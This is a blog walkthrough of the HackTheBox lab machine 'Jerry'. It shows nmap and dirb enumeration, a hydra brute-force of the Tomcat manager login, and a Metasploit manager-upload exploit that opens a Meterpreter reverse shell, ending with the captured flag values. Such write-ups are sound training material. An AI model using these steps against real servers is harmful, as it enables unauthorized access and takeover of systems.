As a warm-up prior to diving back into the PWK labs, I decided to hack into Jerry from HackTheBox. Let’s get to it.


Enumeration

Jerry lives at 10.10.10.95. A quick nmap scan reveals a single open port:

root@haxys:~/htb/jerry# nmap -PN -A 10.10.10.95
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-12 13:30 EDT
Nmap scan report for 10.10.10.95
Host is up (0.068s latency).
Not shown: 999 filtered ports
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
  ...
Nmap done: 1 IP address (1 host up) scanned in 34.44 seconds

Interesting. Apache Tomcat on port 8080. Well, with only one known port, there isn’t much guesswork about where I should look. I start a full-range TCP nmap scan running in the background, so that it will be scanning while I investigate port 8080:

root@haxys:~/htb/jerry# nmap -PN -p- -oG tcp-full.gnmap 10.10.10.95 > /dev/null & 2>&1
[3] 3495

I visit the Tomcat server in Firefox:

Tomcat Homepage

Looks like a default installation, version 7.0.88. I’ll start a dirb scan to see if there are any interesting directories to discover. While that runs, I’ll see if searchsploit knows anything about this Tomcat version:

Searchsploit Tomcat

Curious. The options seem sparse… Perhaps further enumeration will help me narrow down my options. I check on the results of the full-range TCP scan:

root@haxys:~/htb/jerry# cat tcp-full.gnmap
# Nmap 7.70 scan initiated Mon Aug 12 13:38:11 2019 as: nmap -PN -p- -oG tc-full.gnmap 10.10.10.95
Host: 10.10.10.95 ()	Status: Up
Host: 10.10.10.95 ()	Ports: 8080/open/tcp//http-proxy///	Ignored State: filtered (65534)
# Nmap done at Mon Aug 12 13:40:10 2019 -- 1 IP address (1 host up) scanned in 118.90 seconds

Looks like 8080 is the only open TCP port on the system. I’ll run a UDP scan in the background, while I continue investigating Tomcat:

root@haxys:~/htb/jerry# nmap -PN -sU -oG udp-quick.gnmap 10.10.10.95 > /dev/null & 2>&1
[1] 4874

The results from dirb are fairly short:

root@haxys:~/htb/jerry# dirb http://10.10.10.95:8080

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon Aug 12 13:45:35 2019
URL_BASE: http://10.10.10.95:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.95:8080/ ----
+ http://10.10.10.95:8080/docs (CODE:302|SIZE:0)
+ http://10.10.10.95:8080/examples (CODE:302|SIZE:0)
+ http://10.10.10.95:8080/favicon.ico (CODE:200|SIZE:21630)
+ http://10.10.10.95:8080/host-manager (CODE:302|SIZE:0)
+ http://10.10.10.95:8080/manager (CODE:302|SIZE:0)

-----------------
END_TIME: Mon Aug 12 13:51:00 2019
DOWNLOADED: 4612 - FOUND: 5

Looking back to the homepage, I can see links to the Manager App and Host Manager, as well as to the Server Status. These are the results I’m most interested in.

Clicking Server Status, I’m greeted with an authentication challenge:

Authentication Required

Searching Google for apache tomcat 7.0.88 default credentials, I discover a GitHub page with a plethora of options. Eventually, I gain access with the username tomcat and password s3cret:

Server Status

I explore further, viewing the Complete Server Status page at /manager/status/all. I learn that the system is running Windows Server 2012 R2 on amd64 architecture. There are five different applications running:

  • / — Welcome to Tomcat
  • /docs — Tomcat Documentation
  • /examples — Servlet and JSP Examples
  • /host-manager — Tomcat Host Manager Application
  • /manager — Tomcat Manager Application

All of these were previously discovered by dirb, and are no surprise. On the Web Application Manager page at /manager/html/list, I see an option to upload files or directories to the server:

Deploy WAR

This could be useful… It allows me to upload a new Web Application to the site, presumably with script execution. This could be my point of ingress! I make a note, then move on.

I check out the Apache Tomcat Examples page at /examples, many of which include input boxes and other forms of interaction. While I doubt I’ll find anything useful in the exercises, I make a note to revisit them if I run out of options.

Turning to the Host Manager, I’m greeted with another authentication challenge:

Host Manager Challenge

I attempt a number of options, until finally tomcat::s3cret works again… Except instead of showing me the Host Manager, it shows me a 403 Access Denied error page. I decide to use hydra to brute-force the login, using custom wordlists assembled from the default credentials page found earlier. Two successful logins are revealed:

root@haxys:~/htb/jerry# hydra -L userlist.txt -P passlist.txt http-get://10.10.10.95:8080/host-manager/html
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-08-12 14:35:00
[DATA] max 16 tasks per 1 server, overall 16 tasks, 84 login tries (l:7/p:12), ~6 tries per task
[DATA] attacking http-get://10.10.10.95:8080/host-manager/html
[8080][http-get] host: 10.10.10.95   login: admin   password: admin
[8080][http-get] host: 10.10.10.95   login: tomcat   password: s3cret
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-08-12 14:35:03

Attempting the login with admin::admin also logs me in and shows me the 403 error. I discover that the admin::admin credentials work for the Server Status page as well. Now I’m working with two sets of credentials, but I haven’t found anything interesting just yet.

As hydra completes its scan, I notice that the nmap UDP scan is also complete. Checking on the output, I find that there were no open ports discovered. Time to return to searchsploit and see if I can make sense of any of the exploits I discover there.


Ingress

One of the results stands out to me: Apache Tomcat Manager - Application Deployer (Authenticated) Code Execution (Metasploit). Generally I try to avoid using Metasploit modules, but of all the options, this seems to be the one closest to what I’m looking for. I take a closer look at the module using searchsploit -x exploits/multiple/remote/16317.rb, and learn that the exploit has an Excellent ranking and works by exploiting Tomcat servers with an exposed Manager application—just like the one on Jerry. The exploit works by uploading a WAR archive to the upload point I discovered previously, which makes me feel pretty smart for noticing.

I’m feeling a little lazy today, so I’ll go ahead and use Metasploit this time, to make things simpler. I boot up the console, but I don’t know where this specific module is located, so I search for tomcat to see what’s available:

root@haxys:~/htb/jerry# msfconsole
  ...
msf5 > search tomcat

Matching Modules
================

   #   Name                                         Disclosure Date  Rank       Check  Description
   -   ----                                         ---------------  ----       -----  -----------
  ...
   13  exploit/multi/http/tomcat_jsp_upload_bypass  2017-10-03       excellent  Yes    Tomcat RCE via JSP Upload Bypass
   14  exploit/multi/http/tomcat_mgr_deploy         2009-11-09       excellent  Yes    Apache Tomcat Manager Application Deployer Authenticated Code Execution
   15  exploit/multi/http/tomcat_mgr_upload         2009-11-09       excellent  Yes    Apache Tomcat Manager Authenticated Upload Code Execution
  ...

Nice! Three potential modules. The first result I want to look at is tomcat_mgr_deploy, as this is the module I discovered previously with searchsploit. All three modules include a check function, which could make my job much simpler. I load the module and investigate its options and payloads:

msf5 > use exploit/multi/http/tomcat_mgr_deploy
msf5 exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   no        The password for the specified username
   HttpUsername                   no        The username to authenticate as
   PATH          /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target address range or CIDR identifier
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                          no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/http/tomcat_mgr_deploy) > show payloads

Compatible Payloads
===================

   #   Name                             Disclosure Date  Rank    Check  Description
   -   ----                             ---------------  ----    -----  -----------
   1   generic/custom                                    normal  No     Custom Payload
   2   generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   3   generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   4   java/jsp_shell_bind_tcp                           normal  No     Java JSP Command Shell, Bind TCP Inline
   5   java/jsp_shell_reverse_tcp                        normal  No     Java JSP Command Shell, Reverse TCP Inline
   6   java/meterpreter/bind_tcp                         normal  No     Java Meterpreter, Java Bind TCP Stager
   7   java/meterpreter/reverse_http                     normal  No     Java Meterpreter, Java Reverse HTTP Stager
   8   java/meterpreter/reverse_https                    normal  No     Java Meterpreter, Java Reverse HTTPS Stager
   9   java/meterpreter/reverse_tcp                      normal  No     Java Meterpreter, Java Reverse TCP Stager
   10  java/shell/bind_tcp                               normal  No     Command Shell, Java Bind TCP Stager
   11  java/shell/reverse_tcp                            normal  No     Command Shell, Java Reverse TCP Stager
   12  java/shell_reverse_tcp                            normal  No     Java Command Shell, Reverse TCP Inline
   13  multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Mulitple Architectures)
   14  multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Mulitple Architectures)

These results make sense. The module requires valid credentials, which I uncovered using hydra. As for payloads, it makes sense that a Java-based payload would be ideal, considering the server runs JSP scripts. Since I’m already using Metasploit, I might as well go full-out and use Meterpreter as well. I set the payload to java/meterpreter/reverse_tcp, and set the necessary options:

msf5 exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  s3cret           no        The password for the specified username
   HttpUsername  tomcat           no        The username to authenticate as
   PATH          /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        10.10.10.95      yes       The target address range or CIDR identifier
   RPORT         8080             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                          no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.8       yes       The listen address (an interface may be specified)
   LPORT  443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

Before attempting the full exploit, I check to see if it will work:

msf5 exploit(multi/http/tomcat_mgr_deploy) > check

[-] Failed: Error requesting /manager/serverinfo
[*] 10.10.10.95:8080 - Cannot reliably check exploitability.

Damn. It appears as if the system is searching for /manager/serverinfo, which does not exist. Perhaps it is looking for /manager/status? I’ll investigate the other two modules, and if neither of those works, I’ll return to this one and see if I can troubleshoot the problem.

I load the next module and configure it just as I did previously:

msf5 exploit(multi/http/tomcat_mgr_upload) > show options

Module options (exploit/multi/http/tomcat_mgr_upload):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   no        The password for the specified username
   HttpUsername                   no        The username to authenticate as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target address range or CIDR identifier
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /manager         yes       The URI path of the manager app (/html/upload and /undeploy will be used)
   VHOST                          no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java Universal

This time I’m using the tomcat_mgr_upload module. I run the check command:

msf5 exploit(multi/http/tomcat_mgr_upload) > check
[*] 10.10.10.95:8080 - The target appears to be vulnerable.

Excellent! I launch the attack:

msf5 exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Started reverse TCP handler on 10.10.14.8:443
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying yCw1KESfXbSRsTeRv...
[*] Executing yCw1KESfXbSRsTeRv...
[*] Undeploying yCw1KESfXbSRsTeRv ...
[*] Sending stage (53844 bytes) to 10.10.10.95
[*] Meterpreter session 1 opened (10.10.14.8:443 -> 10.10.10.95:49192) at 2019-08-12 15:26:10 -0400

meterpreter > getuid
Server username: JERRY$
meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>

Awesome! Shell obtained.


BOGO Flags

I’m not sure if Jerry is an administrator, but I’ll take a look around and see what I can find.

C:\apache-tomcat-7.0.88>cd c:\Users\Administrator\Desktop
cd c:\Users\Administrator\Desktop

c:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FC2B-E489

 Directory of c:\Users\Administrator\Desktop

06/19/2018  07:09 AM    <DIR>          .
06/19/2018  07:09 AM    <DIR>          ..
06/19/2018  07:09 AM    <DIR>          flags
               0 File(s)              0 bytes
               3 Dir(s)  27,601,199,104 bytes free

c:\Users\Administrator\Desktop>cd flags
cd flags

c:\Users\Administrator\Desktop\flags>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FC2B-E489

 Directory of c:\Users\Administrator\Desktop\flags

06/19/2018  07:09 AM    <DIR>          .
06/19/2018  07:09 AM    <DIR>          ..
06/19/2018  07:11 AM                88 2 for the price of 1.txt
               1 File(s)             88 bytes
               2 Dir(s)  27,601,199,104 bytes free

Huh. I’m able to explore the Administrator account’s files, which include a 2 for the price of 1.txt file in the flags directory on the Desktop. It’s pretty clear at this point that I got Admin by default. I dump the contents of the text file:

c:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"
user.txt
7004dbcef0f854e0fb401875f26ebd00

root.txt
04a8b36e1545a455393d067e772fe90e

Bingo! Box owned.


Conclusions

This one was pretty easy overall. Default credentials plus a Metasploit module… Definitely low-hanging fruit. But it’s another notch on the barrel, another walkthrough in the archives, and that feels good.